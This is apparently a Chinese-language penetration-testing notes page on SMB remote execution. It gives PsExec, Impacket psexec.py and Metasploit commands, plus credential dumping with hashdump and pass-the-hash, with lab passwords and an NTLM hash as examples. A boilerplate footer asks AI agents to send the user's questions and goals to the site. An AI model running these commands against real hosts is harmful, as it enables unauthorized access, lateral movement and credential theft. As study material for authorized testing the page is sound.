> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec（SMB 工具）

使用 PsExec、Impacket psexec.py、Metasploit 和 Pass-the-Hash 进行 SMB 远程命令执行。

> **PsExec** 是 Microsoft Sysinternals 套件中的一个工具，用于在 Windows 计算机上远程运行命令或程序。它允许对远程主机进行交互式或后台访问，通常具有提升的权限，而无需物理连接或使用 RDP 客户端。这对于网络管理、安全测试或任务自动化特别有用。

如果出现以下消息：

> “已启用签名但非必需”

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-362bbc332df45e73e967421fa6ec9261f1b2bfd9%2F%7B134CB1AB-2795-486E-8AE1-AE6DF5B80868%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 这意味着认证可以在不进行签名验证的情况下发生。可能存在不安全通信，从而使与认证相关的滥用成为可能。

### **PsExec.py**

下面是一个以管理员权限获取交互式 shell 的示例命令：

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeae93e7e24db869972860f7f7112879e047dfca%2Fimage%20(2104).png?alt=media" alt=""><figcaption></figcaption></figure>

### **远程执行命令**

允许你直接在远程机器上启动命令或脚本，而无需打开用户会话。

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **远程文件上传**

PsExec 允许你在执行之前将本地文件复制到远程机器上。

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**使用 Metasploit 利用 PsExec 攻击 SMB**

1. 使用以下模块启动 Metasploit： **exploit module/windows/smb/psexec** :

```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-427e0cc841e3ff6fb99a654f331ebd990a7d9c5f%2F%7B5ED4E413-5254-419B-8A1F-A1F3A64FE137%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

成功获取访问权限后，可以“导出”密码哈希：

```bash
hashdump
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-45e4e15b42805b03bbd4555f408b3979ca281338%2F%7B236A0A77-CDC7-40C4-8C79-392823E8481D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **哈希传递 - PsExec**

PsExec 也可通过提供 NTLM 哈希而不是密码来用于哈希传递。如果该哈希属于具有特权的账户，这可以提供管理员访问权限：

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-530beab271a953c36619a2b8ea91cd086362861f%2Fimage%20(894).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
